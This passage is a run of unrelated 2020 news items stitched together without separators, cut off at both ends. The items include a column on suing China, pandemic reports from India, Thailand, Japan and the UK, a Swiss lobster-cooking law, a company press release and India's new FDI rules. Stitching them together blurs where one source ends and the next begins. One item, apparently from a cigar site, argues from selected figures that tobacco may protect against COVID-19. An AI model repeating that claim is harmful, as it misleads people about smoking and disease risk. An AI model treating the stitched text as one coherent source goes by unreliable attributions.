this. The citizens should stay out of it. They will negotiate with China and solve matters as they always do. When The Epoch Times asked Blackburn about this criticism and the general fear of our citizens suing China, she responded: In the real world, reciprocity with China has not played out well for the U.S. China does not reciprocate with freedom of the press, intellectual property protections, or bilateral criminal enforcement. For states that respect the rule of law, reciprocity in sovereign immunity matters. But for communist states like China, Americans stand to lose little in a system notorious for kangaroo courts and violating the rights of Chinese citizens. Indeed. As Blackburn indicates, sovereign immunity may be an interesting subject for academic debate, but has less relevance, again, in the real world. Emotionally, too, it will be more satisfying, give more closure, if individuals can sue. We can all begin to move on. U.S. citizens who sue the CCP will also encourage citizens of other countries, if it hasnt already, to do the same, helping to create a worldwide public rejection of communism. And Congress has, in the past, gone around the sovereign-immunity doctrine, enacting an exception for state-sponsored terrorism in 1996 and in 2016 passing legislation to allow individuals to hold Saudi Arabia accountable for 9/11. Suing Terrorists But what of that proof of concept I mentioned earlier? Back in 1999, attorney Nitsana Darshan-Leitner of the Israel Law Center with her husband, Avi Leitner, pioneered a system of suing terrorists and their sponsors worldwide on behalf of their victims. As of now, they have won a staggering $2 billion in judgments with $300 million collected, according to their website. Did Darshan-Leitner face the same initial resistance to this approach in her country as Blackburn et. al. are facing? She responded to The Epoch Times query this way: When we initiated the first lawsuits against the terrorist groups and state sponsors of terrorism we received a great deal of resistance and cynicism. Most of the government officials did not believe that civil actions brought against the terrorists and rogue regimes could work, could actually be litigated or would accomplish anything good. Our Foreign Ministry and some of the intelligence agencies believed our lawsuits were interfering with matters in their exclusive realm. At first we couldnt convince the reporters either. They thought at best it was a publicity stunt. The terror victim families, who had very little support from anyone, were not convinced we could succeed and only reluctantly agreed. There was a lot of suspicion and skepticism. Sound familiar? Darshan-Leitner is now a hero in Israel and works closely with the Mossad fighting terrorism across the globe. Lets not be afraid of citizen plaintiffs in the fight against the Chinese communist regime. We may get similar results. Roger L. Simon is The Epoch Times senior political columnist. He is also an award-winning novelist, an Oscar-nominated screenwriter, and the co-founder of PJ Media. His most recent book is The GOAT. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Donita Jose By Express News Service HYDERABAD: While the social media platforms have come to the rescue of many citizens in getting passes and assistance from the government in case of emergencies like pregnancy or death, many, who are not on social media, especially the migrant workers, are leaving for their hometowns on foot when eventualities like death occur. In one such grim story, a labourer at a worksite at Alkapur Township, road no. 25, left for his native place in Madhya Pradesh in the early hours of Monday after he was informed about his daughters death. The worker, along with 25 others, had first attempted to leave at 10 pm on Sunday only to be stopped by the local residents, who had convinced them to stay. We saw the group moving with their bags on their head. They had small children and women with them, who were determined to leave. They took inspiration from a group of nearly 10 people who had left for Uttar Pradesh from the same worksite a week ago, informed Alashyam Naveen Kumar, Councillor of Manikonda Municipality. While one of the workers daughter died back home, the others just wanted to leave as there has been no assistance from the builder, informed Naveen. It is alleged that the MRO refused to supply essentials to the workers stating that the builder who had hired them for work must support them as per the official announcement from the CMO. However, he had merely given Rs 250 and vegetables to them in the last 30 days. It appears that the government and the builder are passing the buck. The MRO states that the builder has to provide for camps on-site, but he/she hasnt done enough. We raised a complaint with the Labour Department, but to no avail, added Manoj Kumar, a resident of Alkapur Township. By Patpicha Tanakasempipat and Orathai Sriring BANGKOK (Reuters) - A woman who took rat poison this week outside Thailand's finance ministry over the slow rollout of aid during the coronavirus lockdown was promised on Tuesday she would get her money soon. For millions of other Thais, the waiting continues. Thailand announced last month it would give 15,000 baht ($462.82) to those whose jobs have been affected by the coronavirus outbreak and containment measures, which included orders for malls and other businesses to shut down a month ago. The relief, worth $7.4 billion in all, has not come fast enough for many Thais, whose everyday struggles have been worsened by sudden lack of income when domestic economic activities came to a halt. The woman who poisoned herself on Monday was protesting against the long process for an application she had submitted a month ago, accusing the government of disregard for her plight. She is recovering in hospital and will receive her payment by Wednesday, a finance ministry spokesman said on Tuesday. Attachak Sattayanurak, a lecturer at Chiang Mai University whose academic research on the urban poor has led him to meet many Thais who applied to the aid programme, said the woman who took the poison symbolised a far bigger problem. "The public suicide attempt reflected absolute despair of one small person trying to send a message that the government doesn't take care of ordinary people," he said. Prime Minister Prayuth Chan-ocha said in a televised address on Tuesday that he was well aware of the struggles people were facing, particularly those on low incomes. "We're taking care of people from all sectors, whether farmers, freelancers, formal or informal labourers," he said. Business groups have estimated that 10 million people, or 26% of the country's workforce, will have been out of work if the outbreak drags on a few months, due to restrictions on sectors including retail and construction. Story continues In all, 24 million people applied for the relief aid and as of this week, 7.5 million have received the first of three monthly payments of 5,000 baht ($154.27), Finance Minister Uttama Savanayana said on Tuesday. A total of 16 million applications were found to meet the criteria, but only 10.6 million of them have been approved, while the rest are still being evaluated, the minister said. The government on Tuesday lifted the maximum number of workers able to get the benefits to 16 million from 14 million and also pledged help for 10 million farmers separately. Thailand has pledged measures worth at least 2.4 trillion baht ($74.05 billion), equal to more than 14% of the country's GDP, to help individuals and businesses affected by the pandemic. University lecturer Attachak said Thailand needed to act fast. "The COVID-19 outbreak has made inequality in Thailand more stark ... Those in need must be helped across the board and promptly," he said. Economists forecast a grim year ahead with the worst contraction since the 1997/98 Asian financial crisis due to a decline in exports and prolonged impact on tourism, a growth engine for Southeast Asia's second-largest economy. "All these will be further exacerbated by lockdown measures which disrupt domestic economic activities," said Nomura economist Charnon Boonnuch. The country has so far recorded 2,938 cases of COVID-19 and 54 deaths. ($1 = 32.4100 baht) (Reporting by Patpicha Tanakasempipat and Orathai Sriring; Additional reporting by Panarat Thepgumpanat; Editing by Kay Johnson and Philippa Fletcher) By ANI KOLKATA: West Bengal Chief Minister Mamata Banerjee on Monday said that her government will provide help to people of the state stranded in different parts of the country but expressed inability to provide quarantine facilities for "lakhs and lakhs of people". "We have taken a decision, if a person is tested positive for COVID-19 and that person has provision to isolate himself at his residence, the person can home quarantine himself.,' Mamata said. While lamenting that state lacks the capability of providing large quarantine facilities, she said, "Lakhs and lakhs of people can't be quarantined, government has its own limit." However, West Bengal Health Department later on clarified that COVID-19 positive patients should be mandatorily brought to hospitals. Only primary/secondary contacts will be allowed home isolation. Earlier in the day, Mamata Banerjee has said that the state government will "initiate" every possible help to people of the state stranded in different parts of the country due to lockdown, in returning home. "GoWB will initiate every possible help to people of Bengal stuck in diff parts of the country due to lockdown, in returning home. I've instructed my officers to do the needful. Till the time I'm here, nobody from Bengal should feel helpless. I'm with you in these tough times," Banerjee tweeted. The Chief Minister also said that all students from Bengal stuck in Kota would begin their journey back soon. "I am personally overseeing this & we will leave no stone unturned in ensuring that everyone gets any possible help. The initiation has already started & all students from Bengal stuck in Kota would begin their journey back soon," she tweeted. There is so much we dont know about SARS-CoV-2, the Coronavirus currently threatening global health and the world economy. But perhaps one of the more surprising stories emerging from this massively disruptive virus is the growing evidence that tobacco use might be a factor in preventing transmission of Covid-19. The cigar industry, like so many industries, has been massively impacted. Many factories have paused operations. In some states, cigar shops have been deemed non-essential and shut down, while elsewhere they continue to operate with new social distancing policies. Whether completely shut down or just limited, cigar shops are at serious risk of not surviving. Meanwhile, in response to the crisis, the federal government has delayed FDA filing and tobacco tax deadlines. Early on as the virus was spreading, the assumption was smokers and former smokers (especially of cigarettes) were at higher risk of catching the virus, due to its transmission through the respiratory system. Anti-smoking activists were quick to cite the virus as a reason for more government policies limiting access of adults to tobacco. The World Health Organization made similar arguments. Anti-smoking zealot Stanton A. Glantz (whose propensity to draw sweeping conclusions from limited statistics has been documented) even claimed, the odds of disease progression (including to death) were 14 times higher among people with a history of smoking compared to those who did not smoke the strongest risk factor among those examined. That claim has since apparently been stealth edited out of the original article, but remains quoted in articles about it, including one specifically arguing Coronavirus meant it was time to quit cigars. The since walked-back 14 times higher claim (which was also pushed by the British Government) was actually based on a Chinese study with a sample size consisting of five total smokers (see above). This is a sample so small any serious scientist would never rely on it, certainly not to make such sweeping claims. Needless to say, those of us who have been following this issue for awhile arent surprised to find government agencies twisting statistics to push their anti-tobacco agenda. Experts: Tobacco May Play a Protective Role Against Covid-19 What is truly remarkable is the mounting evidence that smoking makes smokers (and, to a lesser extent, ex-smokers) specifically less susceptible to the virus. Contrary to the cherry-picked conclusions pushed by anti-tobacco activists, every week more evidence seems to emerge that bolsters the conclusion that tobacco protects smokers from Covid-19. Author Christopher Snowdon (who has written books exposing the exaggerated claims of anti-smoking activists) recently summarized the ever-expanding evidence: In [China] where 27 per cent of adults smoke, only 6.4 per cent of the Covid-19 cases were smokers. This was not a fluke finding. Awkwardly for the anti-smoking lobby, smokers have been strangely under-represented in all the studies for which smoking prevalence data is available. They made up just 1.4 per cent of the cases in Zhang et al, 6.7 per cent in Wan et al, 3.9 per cent in Mo et al, seven per cent in Huang et al, nine per cent in Dong et al, 10 per cent of cases in Yang et al, 1.9 per cent in Guan et al, six per cent in Zhou et al, and 6.4 per cent in Liu et al. In Shi et al, only 8.2 per cent of cases had any smoking history [current or former smokers]. Dr Konstantinos Farsalinos of the University of Patras in Greece noticed this phenomenon early on and put a preliminary study online in late March. It noted the unusually low prevalence of current smoking was observed among hospitalised Covid-19 patients, which does not support the argument that current smoking is a risk factor for hospitalisation for Covid-19, and might suggest a protective role. A few days earlier, a group of doctors from the Royal Glamorgan Hospital had written to the British Medical Journal to point out that nicotine protects against the kind of acute inflammatory reactions seen in Covid patients and that the simple use of nicotine patches should be urgently considered and discussed. Nobody paid much attention, but evidence supporting the smoking hypothesis continued to slip out. On 3 April, the U.S. Centers for Disease Control published data on thousands of American Covid-19 cases. Once again, the proportion of smokers was tiny just 1.3 per cent [versus 14% who smoke]. Even ex-smokers were significantly under-represented (2.3 per cent). The most comprehensive epidemiological study appeared a week later. Based on data from 4,103 Covid patients in New York City, a team of researchers found that a history of smoking was associated with a 29 per cent reduction in risk of being hospitalised with Covid-19 and, contrary to the claims of Public Health England, smokers were no more likely to become critically ill with the disease if they were admitted. The authors would have found an even sharper reduction in risk for current smokers if they had split them up from ex-smokers in their analysis, but even the findings as published were striking. This week, a group of French academics published their study of 343 Covid patients, of whom only 4.4 per cent were daily smokers. According to the authors, the study strongly suggests that daily smokers have a very much lower probability of developing symptomatic or severe SARS-CoV-2 infection as compared to the general population. Pause a second to consider some of those quotes from medical experts (emphasis added): [The study] strongly suggests that daily smokers have a very much lower probability of developing symptomatic or severe SARS-CoV-2 infection as compared to the general population. [The] unusually low prevalence of current smoking was observed among hospitalised Covid-19 patients does not support the argument that current smoking is a risk factor for hospitalisation for Covid-19, and might suggest a protective role. There are, of course, many unanswered questions about the reason for the apparent link between smoking and lower rates of symptomatic Covid-19. Still, its enough that French researchers have already initiated a study consisting of handing out nicotine patches to frontline medical workers and Coronavirus patients: Nicotine could protect people from contracting the coronavirus, according to new research in France, where further trials are planned to test whether the substance could be used to prevent or treat the deadly illness. The findings come after researchers at a top Paris hospital examined 343 Coronavirus patients along with 139 people infected with the illness with milder symptoms. They found that a low number of them smoked, compared to smoking rates of around 35 percent in Frances general population. Among these patients, only five percent were smokers, said Zahir Amoura, the studys co-author and a professor of internal medicine. The research echoed similar findings published in the New England Journal of Medicine last month that suggested that 12.6 percent of 1,000 people infected in China were smokers. That was a much lower figure than the number of regular smokers in Chinas general population, about 26 percent, according to the World Health Organization (WHO). The theory is that nicotine could adhere to cell receptors, therefore blocking the virus from entering cells and spreading in the body, according to renown neurobiologist Jean-Pierre Changeux from Frances Pasteur Institut, who also co-authored the study. To be clear, we still know very little about Covid-19, which is part of the reason it remains such a serious threat. And as we scramble to treat it and prevent it, we know even less about the long-term impact of the deadly virus. (Certainly no medical experts are currently recommending people take up smoking to prevent Coronavirus.) Among other considerations while digesting this data is that all tobacco use isnt the same. Cigarettes are normally inhaled into the lungs, while cigars are not when used as intended. Any study of smokers or former smokers is statistically going to overwhelmingly be of cigarette smokers, not those who smoke the handmade cigars that are the longstanding focus at this website. And, of course, there are other risks associated with smoking (to differing degrees for different types of smokers), just as there are risks with any activity. None of which diminishes the fact that it looks more and more likely that tobacco may be part of the solution, not part of the problem, when it comes to Coronavirus. In fact, one major tobacco company is already claiming to have found a tobacco-based breakthrough in the production of a Covid-19 vaccine. The fact that the statistics are glaring enough that researchers are not only acknowledging smokings apparent preventative impact but are looking to nicotine to develop both preventative and treatment options, suggests this is not some random statistical anomaly. Patrick S photo credit: Phil Kerpen/CMJ Harris County Precinct 4 Constable's Office A man has been arrested after accidentally shooting himself in the process of threatening his ex-girlfriend with a gun, according to Precinct 4 Constable Mark Herman. Deputies with Constable Mark Herman's Office responded to the 1500 block of Daisey Bell Lane on Friday, April 24, in reference to a weapons disturbance call. When deputies arrived on scene, a woman told them that her ex-boyfriend threatened her with a gun if she talked to any other men. He has been identified as Rashad Clark. Flash Japanese Prime Minister Shinzo Abe said on Monday that Japan will deny the entry of foreign nationals from an additional 14 countries including Russia, in an effort to contain the spread of COVID-19. The Japanese government made the decision at a task-force meeting on Monday. Non-Japanese citizens who have been in 14 countries including Russia, Ukraine, Belarus, Saudi Arabia, Qatar, the United Arab Emirates, Kuwait, Oman, Djibouti and Peru, among others, within two weeks of their arrival in Japan will be turned away at the border. The ban will take effect from Wednesday, said Abe, adding that Japan will extend its suspension of visas issued to foreign travelers to the end of May. The addition brings the total number of countries and regions covered by the entry ban to 87, including China, South Korea, the United States and European countries. While Japanese citizens can re-enter the country, they must undergo coronavirus testing and self-quarantine for two weeks to see if they develop symptoms such as high fever and coughing. Japan has already invalidated the visas and short-stay visa waivers of people coming from countries and regions that are not subject to its entry ban. The Japanese government initially said the measure would be effective until the end of April. However, it was extended by one month as the outbreak continues to spread around the world. It remains the case that far fewer children than adults have had serious illness with the virus - NHS on alert over new coronavirus-related syndrome putting children in intensive care - Shutterstock Children are falling ill with a mystery inflammatory syndrome thought to be linked to coronavirus, senior doctors have warned. NHS leaders have issued a nationwide alert after a sudden spike in children admitted to intensive care with rashes, kidney failure, and stomach problems. The young patients have been struck down by symptoms similar to toxic shock and Kawasaki syndrome, a rare condition that weakens the blood vessels and usually affects children under five. Some have been admitted to intensive care after their hearts became dangerously inflamed, while others have been put on ventilators, it is understood. On Monday night, Professor Stephen Powis, national medical director of NHS England, said he had asked experts to examine "as a matter of urgency" whether a coronavirus-related syndrome among children may be emerging in the UK. "We have become aware in the last few days of reports of severe illness in children which might be a Kawasaki-like disease," he said. "Both Chris (Whitty) and I are aware of that, and we have asked our experts; I have asked the National Clinical Director for Children and Young People to look into this as a matter of urgency." He said that Public Health England (PHE) was also looking into the reports, adding: "We're not sure at the moment - it is really too early to say whether there is a link." Professor Chris Whitty, the chief medical officer, added: "This is a very rare situation but I think it is entirely plausible that this is caused by this virus, at least in some cases." At Monday's Downing Street press conference, Matt Hancock, the health secretary, said he was "very worried" about the new wave of children going into intensive care. NHS leaders were quick to reassure parents that only a handful of cases had been identified, and said the risk to children from coronavirus remains low. The link between the new combination of symptoms and Covid-19 has not yet been confirmed, they said, and the advice to parents remains unchanged. Story continues In an alert sent to GPs, health chiefs said: There is growing concern that a [Covid-19]-related inflammatory syndrome is emerging in children in the UK. Over the last three weeks, there has been an apparent rise in the number of children of all ages presenting with a multi-system inflammatory state requiring intensive care across London and also in other regions of the UK. A similarly-worded warning was issued by the Paediatric Intensive Care Society to clinicians across the UK. It told clinical staff to urgently refer children suffering from three symptoms: abdominal pain, gastrointestinal symptoms, and cardiac inflammation. It comes amid increasing pressure on the government to reopen schools, with some headteachers calling for classes to restart before the end of the summer term. Since coronavirus first began to spread across the world last December, relatively few children have died from the disease. Only nine people under the age of 19 have died in England in hospital after testing positive for Covid-19, around 0.05 per cent of the total death toll. Their apparent resilience has puzzled doctors because young people are typically super-spreaders of other viral illnesses such as influenza. Children began presenting with the new syndrome around three weeks ago, according to the NHS alert. Often the patients are found to be suffering from stomach pain and gastrointestinal symptoms including vomiting and diarrhoea. Unlike adults, however, most of the children do not initially present with a cough or other respiratory problems, it is understood. The majority are found to have a fever and a persistently high temperature. One paediatric doctor at a major London hospital told The Telegraph that some of the children have developed darkened knuckles for reasons currently unknown. Medics at the hospital are currently treating around a dozen children aged mostly between 10 and 12, the doctor said. Were baffled by this, he said. These children are becoming unwell quite quickly. They start feeling generally unwell, with non-specific symptoms. Then many of them develop rashes on the neck, forearms and abdomen. The rashes can be flat, raised, angry-looking or gentle. No patient is exactly the same. Some come in with darkened knuckles, which is not normal. It suggests some form of vasculitis - inflammation of the blood vessels. Its likely to be some form of auto-immune reaction or ischemic response, where the blood supply is restricted. Its all very new. We dont know if theres a mutated form of the virus that is causing this. The timeline is odd, too. All the kids I have talked to have stayed inside for the last few weeks, so it doesnt match what we know about the incubation period. But because of the lack of testing, we cant know for sure if they caught it off their parents, or by some other route. They can then become seriously ill very quickly. Some of the kids I treated have been transferred to intensive care because their organs were starting to fail. None of them have yet died, as far as Im aware. All 12 children in the London hospital tested positive for Covid-19, although in other areas some patients have tested negative. A number have been taken into intensive care with inflammation of the heart. Other leading paediatricians confirmed that they too had seen a sudden rise in cases. It is not known whether any of the children have yet died. Sir Jeremy Farrar, director of the Wellcome Trust and a member of the Government's Scientific Advisory Group for Emergencies (Sage), said the alert was really important and called for the warning to be circulated widely to hospitals across the country. Meanwhile, doctors in other countries reported similar cases in their hospitals. A general inflammatory syndrome was reported for selected Covid-19 patients recently in University Hospital Zurich, while an Italian study published on Monday reported a significant increase of Kawasaki disease in Covid positive children. In the US, leaders at the Childrens National Hospital in Washington said they had been surprised by the number of children needing critical care. Kawasaki disease affects mostly children under five years old and causes inflammation in the walls of the blood vessels. The rare condition can lead to aneurysms, heart attacks or heart failure. Symptoms include a fever, a rash, swollen hands and feet, redness in the whites of the eyes and swollen lymph glands in the throat. Experts cautioned that the UK alert was a standard way of raising awareness quickly among clinicians about potential new illnesses, rather than confirmed evidence of a new syndrome. PHE announced on Monday that every case of coronavirus in children will be analysed by central labs. Professor Adilia Warris, Paediatric Infectious Diseases Specialist at the University of Exeter, said: As we dont know yet the full range of clinical presentations caused by Covid-19, we keep every possibility open that clinical presentations that cant be explained by other causes might be caused by Covid-19, or even a not yet recognized pathogen. Please do consider that the absolute number of those cases are very low (a handful at the moment). The call to ask if other colleagues have had comparable experiences over the last week is so we are able to define what is going on, and if there is reason for additional assessment into this. Prof Simon Kenny, NHS national clinical director for children and young people, said: Thankfully Kawasaki-like diseases are very rare, as currently are serious complications in children related to Covid-19, but it is important that clinicians are made aware of any potential emerging links so that they are able to give children and young people the right care fast. The advice to parents remains the same: if you are worried about your child for whatever reason, contact NHS 111 or your family doctor for urgent advice, or 999 in an emergency, and if a professional tells you to go to hospital, please go to hospital. By Laman Ismayilova International Jazz Day is celebrated on April 30 with a series of spectacular events around the world. The idea came from jazz pianist and UNESCO Goodwill Ambassador Herbie Hancock. The Day was declared by the United Nations Educational, Scientific and Cultural Organization in 2011. Each year on April 30th, Azerbaijan celebrates this tribute to jazz music and its great role in uniting people across the globe. On this day, Heydar Aliyev Foundation and Baku International Jazz Festival invite to enjoy a new project When jazz sounds in empty hall . This project was shot to the music of famous jazz saxophonist Rain Sultanov, with the participation of Honored Artists of Azerbaijan Isfar Sarabski and Ruslan Huseynov in the unique concert hall of the Heydar Aliyev Center. Earlier, a large-scale gala concert was planned to be held with the participation of Azerbaijani jazz stars and foreign guests. However, the event was postponed amid coronavirus pandemic. Moreover, the director of Baku International Jazz Festival Leyla Efendiyeva will take part in panel discussions organized as part of World Jazz Day. Notably, the 9th annual International Jazz Day worldwide celebration will transition to a virtual format for 2020 instead of taking place as previously planned in Cape Town, South Africa and other locations around the world on April 30th. International Jazz Day 2020 will take place online and be hosted by Herbie Hancock. The days centerpiece will be a virtual Global Concert featuring artists from across the globe, streamed live on jazzday.com. The concert will begin at 15h00 US eastern time (19:00 UTC) and will feature performances by Marcus Miller, Lang Lang, Charlie Puth, Cecile McLorin Salvant, John McLaughlin, Dianne Reeves, Dee Dee Bridgewater, Sibongile Khumalo, Alune Wade, John Beasley, Ben Williams, Lizz Wright, John Scofield, Igor Butman, Evgeny Pobozhiy, Youn Sun Nah, A Bu, Jane Monheit, and Joey DeFrancesco, among others. Leading up to the virtual Global Concert, there will be a free series of educational master classes, childrens activities and discussions via web conference featuring renowned educators and jazz artists, streamed live via jazzday.com. --- Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova Follow us on Twitter @AzerNewsAz " " Switzerland became the latest country to ban boiling lobster alive because it deemed the process inhumane and unnecessary. fitopardo.com/Getty Images For the squeamish among us, plopping a live lobster into a vat of boiling water always has had an air of cruelty behind it. Between the poor ugly buggers thrashing around in the pot and the strange sounds they make once they're in there, boiling a live lobster can seem positively barbaric. Even as the meal on the other side seems positively delicious. Now, the Swiss Federal Council has officially deemed the process inhumane and unnecessary. By March 1, 2018, the government has ordained Swiss chefs will have to "stun" the crustaceans first before they drop them into the boiling hereafter. Live crustaceans, including the lobster, may no longer be transported on ice or in ice water. Aquatic species must always be kept in their natural environment. Crustaceans must now be stunned before they are killed, according to the new Swiss law. Advertisement The decision, following a like-minded move in Italy, raises an age-old debate on whether lobsters feel pain at all. There is some science on both sides of the issue. On one side are scientists like professor Robert Elwood, an animal behaviorist at Queen's University in Belfast, Northern Ireland. He conducted a study that found, despite a rudimentary nervous system that lacks a sophisticated brain, lobsters have feelings, insofar that they know what hurts and try to avoid it. "I don't know what goes on in a [crustacean's] mind, but what I can say is the whole behaviour goes beyond a straightforward reflex response and it fits all the criteria of pain," Elwood told the BBC in 2013. On the other are a bunch of scientists who say that those reactions the thrashing about in boiling water, for example are programmed, not a brain-centered reaction to pain, similar to how a tap to your knee elicits a kick. Lobsters react, these scientists say, but they lack the necessary brainpower to process pain. "I find it really quite remarkable that people attribute to these animals humanlike responses when they simply don't have the hardware for it," Joseph Ayers, a professor of marine and environmental sciences, told The New York Times. Expectedly, groups like People for the Ethical Treatment of Animals (PETA) cheer the Swiss decision (which also says live lobsters can't be shipped on ice), while outfits like the University of Maine's Lobster Institute, in effect, dismiss it. "The nervous system of a lobster is very simple not unlike that of an insect. Neither insects nor lobsters have brains," the Lobster Institute says on its website. "For an organism to perceive pain it must have a more complex nervous system. Neurophysiologists tell us that lobsters, like insects, do not process pain." The land-locked Swiss imported less than a $500,000 worth of live lobsters from the U.S. in 2016, according to The Washington Post, so the country's boiling ban won't have much of an effect on how lobsters are cooked worldwide. Still, it's more fodder for that age-old debate, and it'll keep seafood lovers everywhere wondering whether all that pain is really in the lobsters' brains or just ours. Now That's Interesting Stunning a lobster before boiling is a preferred method of many cooks and is, generally, considered more humane. The stunning may not only keep the lobster from feeling any possible pain, though, it could keep them from thrashing around and making a mess in the kitchen. The Lobster Institute suggests chilling or icing the lobster before dropping it into the pot. That can cut down the in-pot movement from 60 to 90 seconds to about 20 seconds. Endurance is proud to announce its been named number 81 in Inc.s first annual list of Americas top businesses in the Midwest. Born of the annual Inc. 5000 franchise, this is the most prestigious ranking of the fastest-growing private companies in Illinois, Indiana, Iowa, Kansas, Michigan, Minnesota, Missouri, Nebraska, North Dakota, Ohio, South Dakota, and Wisconsin. The regional list represents a unique look at the most successful companies within the Midwest economys most dynamic segmentits independent small businesses. As a five-time recipient of awards from the Inc. 5000 Series, including the Inc. 5000 list of fastest-growing companies in America. were honored to receive this coveted distinction for Midwest businesses, said Paul Chernawsky, Founder of Endurance. Our number one priority is always to ensure drivers across the country have peace of mind and protection from unexpected auto repairs. Thanks to our hundreds of Midwest-based employees, weve been able to help more and more customers every year get the protection and confidence they need for the road ahead. With offices based in Illinois and Missouri, Endurance has had a strong impact on the Midwest automotive industry market since 2006. Endurance is the national leader in auto protection for over 340,000 drivers and offers a wide array of coverage options to protect auto owners from the financial hardship that can result from unexpected, costly auto repairs. In 2019 alone, Endurance approved over 27,000 automotive repair claims for different makes and models that totaled more than $24 million. In 2019, Endurance also launched the Endurance Elite Membership. Included with every vehicle service contract and more than a $2,000 value, Elite provides additional benefits to drivers like valuable shopping vouchers, tire replacement, key fob replacement, ID theft protection, and much more. By prioritizing the customer experience on-and-off the road, Endurance has developed loyalty and growth in its field. The companies on the Inc. Midwest list shows stunning rates of growth across all industries in the twelve states. Between 2016 and 2018, these 250 private companies had an average growth rate of 360 percent, and, in 2018 alone, they employed more than 27,000 people and added $13 billion to the Midwests economy. Companies based in Chicago, Detroit and Cincinnati brought in the highest revenue overall. The companies on this list demonstrate just how much the small-business sector impacts the economies of each Midwest state, says Inc. editor in chief Scott Omelianuk. Across every single industry, these businesses have posted revenue and growth rates that are beyond impressive, further proving the tenacity of their founders and CEOs. Complete results of the Inc. 5000 Series: Midwest list, including company profiles and an interactive database that can be sorted by industry, metro area, and other criteria, can be found at inc.com/inc5000-series-midwest-2020 starting March 25, 2020. About Endurance Auto Protection Founded in 2006, Endurance Warranty Services is the most customer-driven company in the vehicle protection industry. Named one of the largest and fastest-growing companies in Chicago by Crains and continuously climbing the Inc. 5000 list of fastest-growing companies in America, Endurance protects thousands of drivers from the high cost of repair bills every day. Endurance is the only company industry-wide that is Gold-Certified by the Vehicle Protection Association, and all Endurance policies are backed by an AM Best A rated insurance company. By delivering world-class service to every customer, current or future, Endurance continues to reign as the premier provider of vehicle protection in the nation. To learn more or request a free quote, visit http://www.endurancewarranty.com. About Inc. Media The worlds most trusted business-media brand, Inc. offers entrepreneurs the knowledge, tools, connections, and community to build great companies. Its award-winning multiplatform content reaches more than 50 million people each month across a variety of channels including websites, newsletters, social media, podcasts, and print. Its prestigious Inc. 5000 list, produced every year since 1982, analyzes company data to recognize the fastest-growing privately held businesses in the United States. The global recognition that comes with inclusion in the 5000 gives the founders of the best businesses an opportunity to engage with an exclusive community of their peers and the credibility that helps them drive sales and recruit talent. The associated Inc. 5000 Conference is part of a highly acclaimed portfolio of bespoke events produced by Inc. For more information, visit http://www.inc.com. Stop & Shop and the union that represents employees at the supermarket chain called for grocery staff to be designated as emergency workers during the coronavirus pandemic, officials said Monday. The United Food and Commercial Workers International Union, which represents around 1.3 million grocery and retail workers, also announced that a 10 percent wage increase for all union members employed by either Stop & Shop or Peapod Online Grocery would be extended through May 30. The pay increase went into effect last month. Flexible hours and up to two weeks of additional paid sick leave for workers required to quarantine were also offered to UFCW members amid the COVID-19 public health crisis, the union announced March 21. Stop & Shop and UFCW have worked together to provide these workers with benefits and protections during this health crisis, including emergency pay raises, additional paid sick leave, and access to KN95 masks and face shields, but even more can be done for these workers," Stop & Shop President Gordon Reid and UFCW International President Marc Perrone wrote in a joint statement. Both officials asked that state and federal governments temporarily classify grocery store workers as either first responders or emergency personnel so they can have priority access to testing, emergency child care and other protections. Concerns about potential infection have mounted for grocery store workers, who have been deemed essential during the outbreak. Multiple employees at supermarkets in the state have died from the disease, including Vitalina Williams, who worked at Market Basket location in Salem for 11 years. Her death led U.S. Rep. Seth Moulton to ask Gov. Charlie Baker to designate grocery store workers as emergency personnel. The move would help provide "workplace protections necessary to keep them and the general public safe and healthy, Moulton said. Earlier this month, the governor expanded first responder testing sites to include grocery store workers, though it is uncertain whether he will designate such employees as emergency personnel. Stop & Shop workers, who are also UFCW members, across Massachusetts, Rhode Island, Connecticut, New Jersey, and New York have worked to make sure that families have the food and groceries they need during these difficult times," the union said in its statement. Make no mistake, Stop & Shop associates are essential workers and they deserve essential protections. Related Content: Puneet Shah The stand-off between India and China, be it political or economic, has always been a hotly debated issue globally. Whether its the Doklam conflict, Chinas Belt and Road Initiative (BRI), the use of Pakistan as a proxy against India or the long-pending territorial dispute, the events have always caught eyeballs worldwide. On the economic front too, India has time and again raised the unfair treatment of its firms by China and the skewed balance of payments heavily in favour of its neighbour due to the latters protectionist approach, but to no avail. In recent times, India has countered Chinese aggression vigorously. Reflecting the same stand, the Ministry of Finance has recently notified amended rules of foreign direct investment (FDI). To give you a perspective, all foreign equity investments in India are governed by the Foreign Exchange Management (Non-Debt Instruments) Rules, 2019, notified in October last year. Till now, the government approval was required only for investments originating from Pakistan and Bangladesh. According to the amended rules, any investment from an entity of a country which shares land border with India or the beneficial owner of an investment into India who is situated in or is a citizen of any such country would require prior government approval. Although the new rules do not specifically name China, the policy changes seem to have been directed towards it, given that India has received negligible FDI from other neighbours historically. According to the data compiled by Department for Promotion of Industry and Internal Trade (DPIIT), India has received FDI from China worth $2.34 billion (Rs 14,846 crore) in the past two decades as against a minuscule chunk from the rest of the neighbours. The amended guidelines, however, have left too many loose ends for guess work and interpretation by the industry. One of the most prominent is the term beneficial owner which is not defined. The rules cite the term beneficial interest only in the context of any investment made by Indian residents. Such investment may be counted as foreign investment if the beneficial interest is held by a foreign resident and is declared accordingly to the Indian company under the Company Law provisions. The Company Law defines the term beneficial interest in a share or class of shares very widely to include, directly or indirectly, the right or entitlement of a person to exercise any right on such shares or enjoy the economic benefits in such shares. There are no numeric thresholds assigned to the beneficial interest under the Indian provisions. The new regulatory regime requires government approval for not just the direct investment originating from its bordering nations, including China, but also those from entities or pooling investment funds set up in other countries say, Singapore or Mauritius. In the absence of any numeric threshold, it is unclear how to determine a beneficial interest for such an entity or pooling investment fund set up in other countries. It is quite possible that such entity or funds may have Chinese investors as beneficiaries with insignificant interest. Besides, the Company Law uses the term significant beneficial owner (SBO) requiring him or her to make a declaration specifying the nature of the beneficial interest. The SBO should ultimately be an individual, who alone or in conjunction with others, holds at least 10 percent shares, voting rights or dividends, or exercises or has the right to exercise 'control' or 'significant influence' over the Indian company. The term beneficial owner has also made its way to the Prevention of Money Laundering Act, 2002 (PMLA), the Income Tax law, the recently introduced Benami Transactions Act and other such legislations. Currently, it is not clear how the term beneficial owner should be interpreted under the amended FDI rules because of inference issues. This will have a serious impact on timelines of such investment. There is also no clarity whether approval will be a one-time process or a fresh nod will be required for each successive stage of foreign investment from bordering countries, including China. A likely approach may be to refer to SBO rules that provide for a 10 percent threshold of significant beneficial interest. By that logic, only the entities and pooling investment funds with significant beneficial interest of 10 percent or more from Indias bordering nations, including China, should require 